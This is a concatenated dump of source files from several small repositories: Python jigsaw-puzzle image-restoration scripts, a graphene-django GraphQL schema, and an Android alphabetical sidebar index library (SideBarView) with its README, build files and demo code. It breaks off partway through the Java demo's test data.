p*j:p*(j+1)] = x[p*curr[0]:p*(curr[0]+1), p*curr[1]:p*(curr[1]+1)] Next = None if ver == 1: Next = neighbors[curr[0]][curr[1]].down elif ver == -1: Next = neighbors[curr[0]][curr[1]].up curr = Next for j in range(_j + hor, _j + m * hor, hor): for i in range(_i, _i + m * ver, ver): prev = line[i - _i] neighbor = neighbors[prev[0]][prev[1]] if hor == 1: curr = neighbor.right elif hor == -1: curr = neighbor.left index[i][j] = (curr[0], curr[1]) grid[p*i:p*(i+1), p*j:p*(j+1)] = x[p*curr[0]:p*(curr[0]+1), p*curr[1]:p*(curr[1]+1)] line[i - _i] = curr def correct(grid, index, cost, neighbors, last, hor, ver): _i = last[0] _j = last[1] j = _j for i in range(_i + hor, _i + m * hor, hor): curr_min = inf i_ind = index[i] j_ind = index[j] # curr_min = min(curr_min, cot) def get_min_cost(cost, m): ans = [0, 0] ans_cost = inf for i in range(len(cost)): for j in range(len(cost[i])): if i > 0: cost[i][j] += cost[i - 1][j] if j > 0: cost[i][j] += cost[i][j - 1] if i > 0 and j > 0: cost[i][j] -= cost[i - 1][j - 1] for i in range(m - 1, len(cost)): for j in range(m - 1, len(cost[i])): curr = cost[i][j] if i >= m: curr -= cost[i - m][j] if j >= m: curr -= cost[i][j - m] if i >= m and j >= m: curr += cost[i - m][j - m] if curr < ans_cost: ans_cost = curr ans = [i - m + 1, j - m + 1] return ans if __name__ == "__main__": img_index = "4" # problem A p = 64 m = 8 k = 112 x = Image.open(img_index + ".jpeg", 'r') x = np.array(x) # jigsaw_net = JigsawNet() # x = jigsaw_net.forward(x, p, m) neighbors = [[None for j in range(m)] for i in range(m)] # discover corners max_l_u = -inf max_l_d = -inf max_r_d = -inf max_r_u = -inf l_u = [0, 0, 0] l_d = [0, 0, 1] r_d = [0, 0, 2] r_u = [0, 0, 3] for i in range(m): for j in range(m): curr = x[p*i : p*(i + 1), p*j : p*(j + 1)] # print(curr) # evaluate neighbors left_min = inf curr_left = [-1, -1] down_min = inf curr_down = [-1, -1] right_min = inf curr_right = [-1, -1] up_min = inf curr_up = [-1, -1] for _i in range(m): for _j in range(m): if _i == i and _j == j: continue _curr = x[p*_i : p*(_i + 1), p*_j : p*(_j + 1)] # evaluate neighbors left = cmp_left(curr, _curr, p) if left < left_min: left_min = left curr_left = [_i, _j] down = cmp_down(curr, _curr, p) if down < down_min: down_min = down curr_down = [_i, _j] right = cmp_right(curr, _curr, p) if right < right_min: right_min = right curr_right = [_i, _j] up = cmp_up(curr, _curr, p) if up < up_min: up_min = up curr_up = [_i, _j] # discover corners sum_l_u = left_min + up_min if sum_l_u > max_l_u: max_l_u = sum_l_u l_u = [i, j, 0] sum_l_d = left_min + down_min if sum_l_d > max_l_d: max_l_d = sum_l_d l_d = [i, j, 1] sum_r_d = right_min + down_min if sum_r_d > max_r_d: max_r_d = sum_r_d r_d = [i, j, 2] sum_r_u = right_min + up_min if sum_r_u > max_r_u: max_r_u= sum_r_u r_u = [i, j, 3] neighbors[i][j] = neighbor(curr_left, curr_down, curr_right, curr_up, left_min, down_min, right_min, up_min) grid = np.copy(x) grid = np.concatenate((grid, grid), axis=0) grid = np.concatenate((grid, grid), axis=1) index = [[None for j in range(2 * m - 1)] for i in range(2 * m - 1)] last = [m - 1, m - 1] # propagate from top-left expand(grid, index, last, 1, 1, m, p, x) img = Image.fromarray(grid, 'RGB') img.save(img_index + "_restored_0.jpeg") # propagate from bottom-left expand(grid, index, last, 1, -1, m, p, x) img = Image.fromarray(grid, 'RGB') img.save(img_index + "_restored_1.jpeg") # propagate from top-right expand(grid, index, last, -1, 1, m, p, x) img = Image.fromarray(grid, 'RGB') img.save(img_index + "_restored_2.jpeg") # propagate from bottom-right expand(grid, index, last, -1, -1, m, p, x) img = Image.fromarray(grid, 'RGB') img.save(img_index + "_restored_3.jpeg") cost = [[0 for j in range(2 * m - 1)] for i in range(2 * m - 1)] correct(grid, index, cost, neighbors, last, 1, 1) correct(grid, index, cost, neighbors, last, 1, -1) correct(grid, index, cost, neighbors, last, -1, 1) correct(grid, index, cost, neighbors, last, -1, -1) [i, j] = get_min_cost(cost, m) ans = grid[i : i + p * m, j : j + p * m] # ans = grid img = Image.fromarray(ans, 'RGB') img.save(img_index + "_ans.jpeg")<file_sep>import numpy as np from PIL import Image from math import inf import heapq def index(i, j, m): return m * i + j def inv_index(i, m): _i = i // m _j = i % m return [_i, _j] def direction(d): if d == "u": return [0, -1] if d == "l": return [-1, 0] if d == "r": return [1, 0] if d == "d": return [0, 1] def cmp_left(a, b, p): ans = 0 for i in range(p): for j in range(3): curr_a = a[i][0][j] curr_b = b[i][p - 1][j] if curr_a > curr_b: ans += curr_a - curr_b else: ans += curr_b - curr_a return ans def cmp_down(a, b, p): ans = 0 for i in range(p): for j in range(3): curr_a = a[p - 1][i][j] curr_b = b[0][i][j] if curr_a > curr_b: ans += curr_a - curr_b else: ans += curr_b - curr_a return ans def cmp_right(a, b, p): ans = 0 for i in range(p): for j in range(3): curr_a = a[i][p - 1][j] curr_b = b[i][0][j] if curr_a > curr_b: ans += curr_a - curr_b else: ans += curr_b - curr_a return ans def cmp_up(a, b, p): ans = 0 for i in range(p): for j in range(3): curr_a = a[0][i][j] curr_b = b[p - 1][i][j] if curr_a > curr_b: ans += curr_a - curr_b else: ans += curr_b - curr_a return ans def get_min_cost(cost, m): ans = [0, 0] ans_cost = inf for i in range(len(cost)): for j in range(len(cost[i])): if i > 0: cost[i][j] += cost[i - 1][j] if j > 0: cost[i][j] += cost[i][j - 1] if i > 0 and j > 0: cost[i][j] -= cost[i - 1][j - 1] for i in range(m - 1, len(cost)): for j in range(m - 1, len(cost[i])): curr = cost[i][j] if i >= m: curr -= cost[i - m][j] if j >= m: curr -= cost[i][j - m] if i >= m and j >= m: curr += cost[i - m][j - m] if curr < ans_cost: ans_cost = curr ans = [i - m + 1, j - m + 1] return ans class edge: def __init__(self, u, v, w, src, dest): self.u = u self.v = v self.w = w self.src = src self.dest = dest class cell: def __init__(self, i, j): self.i = i self.j = j self.children = {} def get_edges(x, p, m, edges_matrix): edges = [] for i in range(m): for j in range(m): curr = x[p*i : p*(i + 1), p*j : p*(j + 1)] for _i in range(m): for _j in range(m): if _i == i and _j == j: continue _curr = x[p*_i : p*(_i + 1), p*_j : p*(_j + 1)] # evaluate neighbors left = cmp_left(curr, _curr, p) down = cmp_down(curr, _curr, p) right = cmp_right(curr, _curr, p) up = cmp_up(curr, _curr, p) l = edge(index(i, j, m), index(_i, _j, m), left, "r", "l") d = edge(index(i, j, m), index(_i, _j, m), down, "u", "d") r = edge(index(i, j, m), index(_i, _j, m), right, "l", "r") u = edge(index(i, j, m), index(_i, _j, m), up, "d", "u") edges.append((l.w, i, j, _i, _j, 0, l)) edges.append((d.w, i, j, _i, _j, 1, d)) edges.append((r.w, i, j, _i, _j, 2, r)) edges.append((u.w, i, j, _i, _j, 3, u)) return edges def dfs(graph, grid, x, i, j, _i, _j, visited, LEFT, TOP, RIGHT, DOWN): visited[_i][_j] = True LEFT[0] = min(LEFT[0], j) TOP[0] = min(TOP[0], i) RIGHT[0] = max(RIGHT[0], j) DOWN[0] = max(DOWN[0], i) grid[p*i : p*(i+1), p*j : p*(j+1)] = x[p*_i : p*(_i+1), p*_j : p*(_j+1)] for key, val in graph[_i][_j].children.items(): if not visited[val[0]][val[1]]: d = direction(key) dfs(graph, grid, x, i + d[1], j + d[0], val[0], val[1], visited, LEFT, TOP, RIGHT, DOWN) def bfs_refine(graph, grid, x, i, j, _i, _j, visited): pass if __name__ == "__main__": img_index = "2406" # problem A x = Image.open(img_index + ".png", 'r') x = np.array(x) m = 8 p = 64 edges_matrix = None edges = get_edges(x, p, m, edges_matrix) heapq.heapify(edges) visited = {} cost = 0 ans = [] while len(edges) > 0: curr = heapq.heappop(edges) w = curr[0] i = curr[1] j = curr[2] _i = curr[3] _j = curr[4] pos = curr[6] hash_1 = (i, j, pos.src) hash_2 = (_i, _j, pos.dest) if hash_1 in visited or hash_2 in visited: if not hash_1 in visited: visited[hash_1] = hash_2 if not hash_2 in visited: visited[hash_2] = hash_1 continue visited[hash_1] = hash_2 visited[hash_2] = hash_1 cost += w ans.append(curr) # print(len(ans)) # print(cost) last = (m - 1, m - 1) graph = [[None for j in range(m)] for i in range(m)] for i in range(m): for j in range(m): graph[i][j] = cell(-1, -1) visited = {} visited[last] = last while len(visited) < m * m: for k in range(len(ans)): curr = ans[k] w = curr[0] i = curr[1] j = curr[2] _i = curr[3] _j = curr[4] pos = curr[6] # print(len(ans), i, j, _i, _j) if (i, j) in visited: if not (_i, _j) in visited: d = direction(pos.dest) visited[(_i, _j)] = (i, j, d) ans.pop(k) graph[i][j].children[pos.dest] = (_i, _j) graph[_i][_j].children[pos.src] = (i, j) break elif (_i, _j) in visited: if not (i, j) in visited: d = direction(pos.src) visited[(i, j)] = (_i, _j, d) ans.pop(k) graph[i][j].children[pos.dest] = (_i, _j) graph[_i][_j].children[pos.src] = (i, j) break grid = np.copy(x) grid = np.concatenate((grid, grid), axis=0) grid = np.concatenate((grid, grid), axis=1) LEFT = [inf] TOP = [inf] RIGHT = [inf] DOWN = [inf] visited = [[False for j in range(m)] for i in range(m)] dfs(graph, grid, x, 7, 7, 7, 7, visited, LEFT, TOP, RIGHT, DOWN) # for row in visited: # print(row) # for i in range(m): # for j in range(m): # print(graph[i][j].children) # if not visited[i][j]: # dfs(graph, grid, x, i, j, visited) # print(ans) # for key, val in visited.items(): grid = grid[p*TOP[0] : p*(TOP[0] + m), p*LEFT[0] : p*(LEFT[0] + m)] img = Image.fromarray(grid, 'RGB') img.save(img_index + "_grid.jpeg")
4478d5ee508e9d203ddadc569ac18edb597f7492
[ "Markdown", "Python" ]
3
Markdown
Lucas1Jorge/Huawei_Honor_Cup
0343c1e11161324295b5224e1c058d305643b6e9
a191721506ca935b899d34c864adbd564ae56fff
refs/heads/master
<file_sep>import graphene from graphene_django.types import DjangoObjectType from .models import Snippet from datetime import datetime class SnippetType(DjangoObjectType): class Meta: model = Snippet class Query(graphene.ObjectType): all_snippets = graphene.List(SnippetType) def resolve_all_snippets(self, info, **kwargs): return [ Snippet(name ='Jayant', stream ='Mca',login_time= datetime.now()), Snippet(name ='Sehal', stream ='Mca',login_time= datetime.now()), Snippet(name ='Meghal', stream ='Mca',login_time= datetime.now()), Snippet(name ='Shashank', stream ='Mca',login_time= datetime.now()), Snippet(name ='Rakesh', stream ='Mca',login_time= datetime.now()), ]
9b6fe61748d45d9af3a997dee6f9688ef12420c1
[ "Python" ]
1
Python
jayant3787/DjangoGraphQLTest
be03ff3714c51528357a705b0481256b16e86215
c96d5b6fe9fce49797fe4a539079322cd4a381be
refs/heads/master
<repo_name>lzjin/SideBarView<file_sep>/sidebar/src/main/java/com/lzj/sidebar/SideBarLayout.java package com.lzj.sidebar; import android.content.Context; import android.content.res.TypedArray; import android.graphics.Color; import android.graphics.drawable.Drawable; import android.util.AttributeSet; import android.util.Log; import android.util.TypedValue; import android.view.LayoutInflater; import android.view.View; import android.widget.RelativeLayout; import android.widget.TextView; import java.util.List; /** * Created by lzj on 2019/12/31 * Describe :字母排序组合布局 */ public class SideBarLayout extends RelativeLayout implements SideBarSortView.OnIndexChangedListener { private View mLayout; private Context mContext; private TextView mTvTips; private SideBarSortView mSortView; private int selectTextColor; private int unselectTextColor; private float selectTextSize; private float unselectTextSize; private int wordTextColor; private float wordTextSize; private Drawable wordBackground; public SideBarLayout(Context context) { super(context); } public SideBarLayout(Context context, AttributeSet attrs, int defStyleAttr) { super(context, attrs, defStyleAttr); init(context, attrs); initView(); } public SideBarLayout(Context context, AttributeSet attrs) { super(context, attrs); init(context, attrs); initView(); } private void init(Context context, AttributeSet attrs) { mContext = context; //获取自定义属性 if (attrs != null) { TypedArray ta = mContext.obtainStyledAttributes(attrs, R.styleable.SideBarView); unselectTextColor = ta.getColor(R.styleable.SideBarView_sidebarUnSelectTextColor, Color.parseColor("#1ABDE6")); selectTextColor = ta.getColor(R.styleable.SideBarView_sidebarSelectTextColor, Color.parseColor("#2E56D7")); selectTextSize = ta.getDimension(R.styleable.SideBarView_sidebarSelectTextSize, dip2px(mContext, 12)); unselectTextSize = ta.getDimension(R.styleable.SideBarView_sidebarUnSelectTextSize, dip2px(mContext, 10)); wordTextSize = ta.getDimension(R.styleable.SideBarView_sidebarWordTextSize, px2sp(mContext, 45)); wordTextColor = ta.getColor(R.styleable.SideBarView_sidebarWordTextColor, Color.parseColor("#FFFFFF")); wordBackground = ta.getDrawable(R.styleable.SideBarView_sidebarWordBackground); if (wordBackground == null) { wordBackground = context.getResources().getDrawable(R.drawable.sort_text_view_hint_bg); } ta.recycle(); } } private void initView() { //引入布局 mLayout = LayoutInflater.from(mContext).inflate(R.layout.view_sidebar_layout, null, true); mTvTips = (TextView) mLayout.findViewById(R.id.tvTips); mSortView = (SideBarSortView) mLayout.findViewById(R.id.sortView); mSortView.setIndexChangedListener(this); mSortView.setmTextColor(unselectTextColor); mSortView.setmTextSize(unselectTextSize); mSortView.setmTextColorChoose(selectTextColor); mSortView.setmTextSizeChoose(selectTextSize); mSortView.invalidate(); mTvTips.setTextColor(wordTextColor); mTvTips.setTextSize(px2sp(mContext, wordTextSize)); mTvTips.setBackground(wordBackground); this.addView(mLayout); //将子布局添加到父容器,才显示控件 } /** * 监听回调:由侧边栏滑动更新Item */ private OnSideBarLayoutListener mListener; public static interface OnSideBarLayoutListener { void onSideBarScrollUpdateItem(String word); } public void setSideBarLayout(OnSideBarLayoutListener listener) { this.mListener = listener; } /** * 侧边栏滑动 更新Item * @param word 字母 */ @Override public void onSideBarScrollUpdateItem(String word) { mTvTips.setVisibility(View.VISIBLE); mTvTips.setText(word); if (mListener != null) { mListener.onSideBarScrollUpdateItem(word); } } /** * 侧边栏滑动结束 隐藏提示 */ @Override public void onSideBarScrollEndHideText() { mTvTips.setVisibility(View.GONE); } /** * Item滚动更新 侧边栏 * @param word */ public void onItemScrollUpdateSideBarText(String word) { if (mListener != null) { mSortView.onUpdateSideBarText(word); } } public static int dip2px(Context context, float dpValue) { final float scale = context.getResources().getDisplayMetrics().density; return (int) (dpValue * scale + 0.5f); } public static int px2sp(Context context, float pxValue) { final float fontScale = context.getResources().getDisplayMetrics().scaledDensity; return (int) (pxValue / fontScale + 0.5f); } } <file_sep>/app/src/main/java/com/lzj/sidebarviewdemo/bean/SortBean.java package com.lzj.sidebarviewdemo.bean; import com.lzj.sidebarviewdemo.utils.PinYinStringHelper; public class SortBean { private String imgUrl; private String name; private String pinyin; private String jianpin; private String word;//首字母 private String telephone; private String address; public SortBean(String name,String address) { this.address=address; this.name = name; this.pinyin=PinYinStringHelper.getPingYin(name);//全拼 this.word = PinYinStringHelper.getAlpha(name);//大写首字母或特殊字符 this.jianpin=PinYinStringHelper.getPinYinHeadChar(name);//简拼 } public String getJianpin() { return jianpin; } public void setJianpin(String jianpin) { this.jianpin = jianpin; } public String getImgUrl() { return imgUrl; } public void setImgUrl(String imgUrl) { this.imgUrl = imgUrl; } public String getName() { return name; } public void setName(String name) { this.name = name; } public String getPinyin() { return pinyin; } public void setPinyin(String pinyin) { this.pinyin = pinyin; } public String getWord() { return word; } public void setWord(String word) { this.word = word; } public String getTelephone() { return telephone; } public void setTelephone(String telephone) { this.telephone = telephone; } public String getAddress() { return address; } public void setAddress(String address) { this.address = address; } } <file_sep>/README.md # SideBarView Android 字母索引View,类似电话联系人分类 #### 博客讲解地址,欢迎前往查看 [博客讲解地址](https://blog.csdn.net/lin857/article/details/105193760) ### 欢迎大家Star,老铁给鼓励呗 ### 效果图如下: <img src="https://raw.githubusercontent.com/lzjin/SideBarView/master/imgfolder/gif.gif"> ### 主要功能 * 支持侧边栏字母大小设置 * 支持侧边栏字母选中、未选中颜色设置 * 支持屏幕中间高亮TextView的字体大小、颜色、背景设置 ### API方法介绍 * onSideBarScrollUpdateItem("A") <== 侧边栏字母滑动 --> item * OnItemScrollUpdateText("B") <== item滑动 --> 侧边栏字母 ### Jitpack --- Step 1. Add it in your root build.gradle at the end of repositories: ``` allprojects { repositories { ... maven { url 'https://jitpack.io' } } } ``` #### Gradle: Step 2. Add the dependency ``` dependencies { //androidX 版本使用下面的依赖 implementation 'com.github.lzjin:SideBarView:1.0.1' } ``` #### 在布局文件中添加 SideBarLayout ``` <com.lzj.sidebar.SideBarLayout             android:id="@+id/sideBarLayout"             android:layout_width="match_parent"             android:layout_height="match_parent"             app:sidebarSelectTextColor="@color/hotpink"             app:sidebarUnSelectTextColor="@color/colorPrimary"             app:sidebarSelectTextSize="12sp"             app:sidebarUnSelectTextSize="10sp"             app:sidebarWordBackground="@drawable/sort_text_bg"             app:sidebarWordTextColor="@color/darkred"             app:sidebarWordTextSize="45sp"> ``` #### 侧边字母滑动回调,设置滚动控件item位置 ``` sideBarLayout.setSideBarLayout(new SideBarLayout.OnSideBarLayoutListener() {             @Override             public void onSideBarScrollUpdateItem(String word) {                 //根据自己业务实现                 for (int i = 0; i < mList.size(); i++) {                     if (mList.get(i).getWord().equals(word)) {                         recyclerView.smoothScrollToPosition(i);                         break;                     }                 }             }         }); ``` #### 滚动控件item滑动设置侧边字母位置 ``` sideBarLayout.OnItemScrollUpdateText(mList.get(firstItemPosition).getWord()); ``` ### 老铁都看这了,给个Star再走呗 #### 1.0 基本版使用 #### 1.0.1 修复bug * 重复调用问题 * 优化示例的搜索 <file_sep>/settings.gradle include ':app', ':sidebar' <file_sep>/app/build.gradle apply plugin: 'com.android.application' android { compileSdkVersion 29 buildToolsVersion '29.0.2' defaultConfig { applicationId "com.lzj.sidebarviewdemo" minSdkVersion 19 targetSdkVersion 28 versionCode 1 versionName "1.0" testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" } buildTypes { release { minifyEnabled false proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' } } compileOptions { sourceCompatibility = 1.8 targetCompatibility = 1.8 } } dependencies { implementation fileTree(include: ['*.jar'], dir: 'libs') implementation 'androidx.appcompat:appcompat:1.1.0' implementation 'androidx.constraintlayout:constraintlayout:1.1.3' testImplementation 'junit:junit:4.12' androidTestImplementation 'androidx.test.ext:junit:1.1.1' androidTestImplementation 'androidx.test.espresso:espresso-core:3.2.0' implementation 'com.jakewharton:butterknife:10.2.1' annotationProcessor 'com.jakewharton:butterknife-compiler:10.2.1' implementation 'androidx.recyclerview:recyclerview:1.1.0' // 基础依赖包,必须要依赖 implementation 'com.gyf.immersionbar:immersionbar:3.0.0' //汉字转拼音 implementation 'com.belerweb:pinyin4j:2.5.1' implementation 'com.github.CymChad:BaseRecyclerViewAdapterHelper:3.0.1' implementation project(':sidebar') } <file_sep>/sidebar/src/main/java/com/lzj/sidebar/SideBarSortView.java package com.lzj.sidebar; import android.content.Context; import android.graphics.Canvas; import android.graphics.Color; import android.graphics.Paint; import android.graphics.Typeface; import android.util.AttributeSet; import android.util.Log; import android.view.MotionEvent; import android.view.View; import android.view.ViewParent; import androidx.annotation.Nullable; /** * Created by lzj on 2019/12/31 * Describe :字母排序索引 */ public class SideBarSortView extends View { private Canvas mCanvas; private int mSelectIndex = 0; private float mTextSize; private int mTextColor; private float mTextSizeChoose; private int mTextColorChoose; //标记 避免重复调用 private boolean isDown = false; public void setmTextSize(float mTextSize) { this.mTextSize = mTextSize; } public void setmTextColor(int mTextColor) { this.mTextColor = mTextColor; } public void setmTextSizeChoose(float mTextSizeChoose) { this.mTextSizeChoose = mTextSizeChoose; } public void setmTextColorChoose(int mTextColorChoose) { this.mTextColorChoose = mTextColorChoose; } public static String[] mList = {"A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "#"}; public Paint paint = new Paint(); public SideBarSortView(Context context) { super(context); } public SideBarSortView(Context context, @Nullable AttributeSet attrs) { super(context, attrs); } @Override protected void onDraw(Canvas canvas) { super.onDraw(canvas); this.mCanvas = canvas; paintText(); } private void paintText() { //计算每一个字母的高度,总告诉除以字母集合的高度就可以 int height = (getHeight()) / mList.length; for (int i = 0; i < mList.length; i++) { if (i == mSelectIndex) { paint.setColor(mTextColorChoose); paint.setTextSize(mTextSizeChoose); } else { paint.setColor(mTextColor); paint.setTextSize(mTextSize); } paint.setAntiAlias(true);//设置抗锯齿 paint.setTypeface(Typeface.DEFAULT_BOLD); //计算每一个字母x轴 float paintX = getWidth() / 2F - paint.measureText(mList[i]) / 2; //计算每一个字母Y轴 int paintY = height * i + height; //绘画出来这个TextView mCanvas.drawText(mList[i], paintX, paintY, paint); //画完一个以后重置画笔 paint.reset(); } } @Override public boolean onTouchEvent(MotionEvent event) { ViewParent parent; switch (event.getAction()) { case MotionEvent.ACTION_DOWN: case MotionEvent.ACTION_MOVE: int index = (int) (event.getY() / getHeight() * mList.length); if (index >= 0 && index < mList.length && mSelectIndex != index) { if (mClickListener != null) { mClickListener.onSideBarScrollUpdateItem(mList[index]); } mSelectIndex = index; invalidate(); //改变标记状态 isDown = true; } parent = getParent(); if (parent != null) { parent.requestDisallowInterceptTouchEvent(true);// 请求父级拦截,解决水平滑动冲突 } break; case MotionEvent.ACTION_UP: case MotionEvent.ACTION_CANCEL: if (mClickListener != null) { mClickListener.onSideBarScrollEndHideText(); } //改变标记状态 isDown = false; parent = getParent(); if (parent != null) { parent.requestDisallowInterceptTouchEvent(false);// 请求父级放行,解决水平滑动冲突 } break; } return true; } private OnIndexChangedListener mClickListener; public static interface OnIndexChangedListener { //滚动位置 void onSideBarScrollUpdateItem(String word); //隐藏提示文本 void onSideBarScrollEndHideText(); } public void setIndexChangedListener(OnIndexChangedListener listener) { this.mClickListener = listener; } /** * Item滚动 更新侧边栏字母 * * @param word 字母 */ public void onUpdateSideBarText(String word) { //手指没触摸才调用 if (!isDown) { for (int i = 0; i < mList.length; i++) { if (mList[i].equals(word) && mSelectIndex != i) { mSelectIndex = i; invalidate(); } } } } } <file_sep>/app/src/main/java/com/lzj/sidebarviewdemo/adapter/SortAdapter.java package com.lzj.sidebarviewdemo.adapter; import android.view.View; import com.chad.library.adapter.base.BaseQuickAdapter; import com.chad.library.adapter.base.viewholder.BaseViewHolder; import com.lzj.sidebarviewdemo.R; import com.lzj.sidebarviewdemo.bean.SortBean; import java.util.List; /** * 参考示例 */ public class SortAdapter extends BaseQuickAdapter<SortBean, BaseViewHolder> { private List<SortBean> mData; public SortAdapter(int layoutResId, List<SortBean> data) { super(layoutResId, data); mData=data; } @Override protected void convert(BaseViewHolder viewHolder, SortBean item) { //TODO 参考代码,请根据自身业务实现 //第一个字母显示 if (viewHolder.getLayoutPosition() == 0) { (viewHolder.getView(R.id.tv_key)).setVisibility(View.VISIBLE); } else { //然后判断当前姓名的首字母和上一个首字母是否相同,如果相同字母导航条就隐藏,否则就显示 // if(mData.get(viewHolder.getLayoutPosition()).getWordAscii()==mData.get(viewHolder.getLayoutPosition()-1).getWordAscii()){ // (viewHolder.getView(R.id.tv_key)).setVisibility(View.GONE); // }else { // (viewHolder.getView(R.id.tv_key)).setVisibility(View.VISIBLE); // } //首字母和上一个首字母是否相同,如果相同字母导航条就影藏,否则就显示 int section = getSectionForPosition(viewHolder.getLayoutPosition()); if (viewHolder.getLayoutPosition() == getPositionForSection(section)) { (viewHolder.getView(R.id.tv_key)).setVisibility(View.VISIBLE); } else { (viewHolder.getView(R.id.tv_key)).setVisibility(View.GONE); } } viewHolder.setText(R.id.tv_key, item.getWord()); viewHolder.setText(R.id.tv_name, item.getName()); viewHolder.setText(R.id.tv_address, item.getAddress()); } /** * 根据View的当前位置获取分类的首字母的Char ascii值 */ public int getSectionForPosition(int position) { return getData().get(position).getWord().charAt(0); } /** * 获取第一次出现该首字母的List所在的位置 */ public int getPositionForSection(int section) { for (int i = 0; i < getData().size(); i++) { String sortStr = getData().get(i).getWord(); char firstChar = sortStr.toUpperCase().charAt(0); if (firstChar == section) { return i; } } return -1; } } <file_sep>/app/src/main/java/com/lzj/sidebarviewdemo/MainActivity.java package com.lzj.sidebarviewdemo; import android.os.Bundle; import android.text.Editable; import android.text.TextUtils; import android.text.TextWatcher; import android.util.Log; import android.widget.EditText; import android.widget.ImageView; import com.gyf.immersionbar.ImmersionBar; import com.lzj.sidebar.SideBarLayout; import com.lzj.sidebarviewdemo.adapter.SortAdapter; import com.lzj.sidebarviewdemo.bean.SortBean; import com.lzj.sidebarviewdemo.utils.SortComparator; import java.util.ArrayList; import java.util.Collections; import java.util.List; import java.util.regex.Matcher; import java.util.regex.Pattern; import androidx.annotation.NonNull; import androidx.appcompat.app.AppCompatActivity; import androidx.recyclerview.widget.LinearLayoutManager; import androidx.recyclerview.widget.RecyclerView; import butterknife.BindView; import butterknife.ButterKnife; /** * 参考示例 */ public class MainActivity extends AppCompatActivity implements TextWatcher { @BindView(R.id.iv_back) ImageView ivBack; @BindView(R.id.edt_search) EditText edtSearch; @BindView(R.id.recyclerView) RecyclerView recyclerView; @BindView(R.id.sidebar) SideBarLayout sidebarView; SortAdapter mSortAdaper; List<SortBean> mList; private int mScrollState = -1; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); ButterKnife.bind(this); ImmersionBar.with(this).transparentStatusBar().fitsSystemWindows(false).statusBarDarkFont(false).init(); edtSearch.addTextChangedListener(this); mScrollState = -1; initData(); connectData(); } private void initData() { mList = new ArrayList<>(); createTestData(); //进行排序 Collections.sort(mList, new SortComparator()); mSortAdaper = new SortAdapter(R.layout.itemview_sort, mList); recyclerView.setLayoutManager(new LinearLayoutManager(this)); //设置LayoutManager为LinearLayoutManager recyclerView.setAdapter(mSortAdaper); recyclerView.setNestedScrollingEnabled(false);//解决滑动不流畅 } private void connectData() { //侧边栏滑动 --> item sidebarView.setSideBarLayout(new SideBarLayout.OnSideBarLayoutListener() { @Override public void onSideBarScrollUpdateItem(String word) { //循环判断点击的拼音导航栏和集合中姓名的首字母,如果相同recyclerView就跳转指定位置 for (int i = 0; i < mList.size(); i++) { if (mList.get(i).getWord().equals(word)) { recyclerView.smoothScrollToPosition(i); break; } } } }); //item滑动 --> 侧边栏 recyclerView.addOnScrollListener(new RecyclerView.OnScrollListener() { @Override public void onScrollStateChanged(@NonNull RecyclerView recyclerView, int scrollState) { super.onScrollStateChanged(recyclerView, scrollState); mScrollState = scrollState; } @Override public void onScrolled(@NonNull RecyclerView recyclerView, int dx, int dy) { super.onScrolled(recyclerView, dx, dy); if (mScrollState != -1) { //第一个可见的位置 RecyclerView.LayoutManager layoutManager = recyclerView.getLayoutManager(); //判断是当前layoutManager是否为LinearLayoutManager // 只有LinearLayoutManager才有查找第一个和最后一个可见view位置的方法 int firstItemPosition=0; if (layoutManager instanceof LinearLayoutManager) { LinearLayoutManager linearManager = (LinearLayoutManager) layoutManager; //获取第一个可见view的位置 firstItemPosition = linearManager.findFirstVisibleItemPosition(); } sidebarView.onItemScrollUpdateSideBarText(mList.get(firstItemPosition).getWord()); if (mScrollState == RecyclerView.SCROLL_STATE_IDLE) { mScrollState = -1; } } } }); } @Override public void beforeTextChanged(CharSequence s, int start, int count, int after) { } @Override public void onTextChanged(CharSequence s, int start, int before, int count) { } @Override public void afterTextChanged(Editable s) { if (mList == null || mList.size() <= 0) { return; } String keyWord = s.toString().trim(); Log.i("test","------------key="+keyWord); if (!TextUtils.isEmpty(keyWord)) { List<SortBean> searchList=matcherSearch(keyWord, mList); if (searchList.size() > 0) { sidebarView.onItemScrollUpdateSideBarText(searchList.get(0).getWord()); } mSortAdaper.setNewData(searchList); } else { sidebarView.onItemScrollUpdateSideBarText(mList.get(0).getWord()); mSortAdaper.setNewData(mList); } mSortAdaper.notifyDataSetChanged(); } /** * 匹配输入数据 * * @param keyword * @param list * @return */ public List<SortBean> matcherSearch(String keyword, List<SortBean> list) { List<SortBean> results = new ArrayList<>(); String patten = Pattern.quote(keyword); Pattern pattern = Pattern.compile(patten, Pattern.CASE_INSENSITIVE); for (int i = 0; i < list.size(); i++) { //根据首字母 Matcher matcherWord = pattern.matcher((list.get(i)).getWord()); //根据拼音 Matcher matcherPin = pattern.matcher((list.get(i)).getPinyin()); //根据简拼 Matcher matcherJianPin = pattern.matcher((list.get(i)).getJianpin()); //根据名字 Matcher matcherName = pattern.matcher((list.get(i)).getName()); if (matcherWord.find() || matcherPin.find() || matcherName.find() || matcherJianPin.find()) { results.add(list.get(i)); } } return results; } /** * 创建测试数据 */ private void createTestData(){ //A mList.add(new SortBean("阿三"," 成都敬江渠")); mList.add(new SortBean("阿刘"," 成都敬江渠")); mList.add(new SortBean("阿九"," 成都敬江渠")); //B mList.add(new SortBean("宝宝"," 成都敬江渠")); mList.add(new SortBean("包打听"," 成都敬江渠")); mList.add(new SortBean("豹子费"," 成都敬江渠")); //C mList.add(new SortBean("陈菲菲"," 成都敬江渠")); mList.add(new SortBean("陈大菲"," 成都敬江渠")); mList.add(new SortBean("车臣"," 成都敬江渠")); mList.add(new SortBean("程师妹"," 成都敬江渠")); //D mList.add(new SortBean("戴氏龙"," 成都敬江渠")); mList.add(new SortBean("德飞侠"," 成都敬江渠")); mList.add(new SortBean("刁峰"," 成都敬江渠")); //E mList.add(new SortBean("饿了么"," 成都敬江渠")); mList.add(new SortBean("恶人谷"," 成都敬江渠")); mList.add(new SortBean("额度"," 成都敬江渠")); //F mList.add(new SortBean("冯雨晴"," 成都敬江渠")); mList.add(new SortBean("飞儿"," 成都敬江渠")); // G mList.add(new SortBean("郭沫"," 成都敬江渠")); mList.add(new SortBean("果实李"," 成都敬江渠")); // H mList.add(new SortBean("海神"," 成都敬江渠")); mList.add(new SortBean("韩信"," 成都敬江渠")); mList.add(new 